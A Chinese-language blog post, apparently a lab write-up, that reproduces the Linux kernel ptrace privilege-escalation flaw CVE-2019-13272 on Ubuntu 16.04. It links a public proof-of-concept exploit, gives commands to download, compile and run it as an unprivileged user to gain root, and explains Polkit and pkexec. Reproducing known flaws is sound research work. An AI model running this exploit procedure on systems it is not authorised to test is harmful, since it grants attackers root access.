漏洞描述

在5.1.17之前的Linux内核中,kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve(可能允许攻击者控制)。 一个影响因素是对象寿命问题(也可能导致恐慌)。 另一个影响因素是将ptrace关系标记为特权,这可以通过(例如)Polkit的pkexec帮助程序与PTRACE_TRACEME进行利用。 注意:在某些环境中,SELinux deny_ptrace可能是一种可用的解决方法。

影响版本

Linux Kernel < 5.1.17

复现

OS: Ubuntu 16.04

Kernel: 4.15.0-47-generic

poc地址:

https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272  

下载poc:

wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c  

但是ubuntu没装代理的,于是用curl下来,传到ubuntu上

然后编译

gcc -s poc.c -o test

 赋予权限

chmod +x test  

创建普通用户

useradd test01
su test01

 运行poc

./test  

第一次实验执行失败:

因为在创建用户时候没有创建对应的用户文件夹

useradd -d /home/test01  test01 创建用户
passwd test01 设置密码

第二次实验复现成功

在ssh上同一个普通用户复现

 发现是失败的,看了一些文章。发现ssh并不能完成提权操作。

具体细节

来源于大佬的博客

Polkit

Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和sudo等程序不同,Polkit并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。

Polkit定义出一系列操作,例如运行GParted, 并将用户按照群组或用户名进行划分,例如 wheel群组用户。然后定义每个操作是否可以由某些用户执行,执行操作前是否需要一些额外的确认,例如通过输入密码确认用户是不是属于某个群组。

pkexec

pkexec允许授权用户作为另一个用户执行程序。如果没有指定用户名,则程序将作为管理超级用户root执行。

普通用户在SSH中使用pkexec时会显示如下需要密码验证

在Gnome桌面中

在server版本中实测无法提权

总结

  

 

  

01-06 10:08
查看更多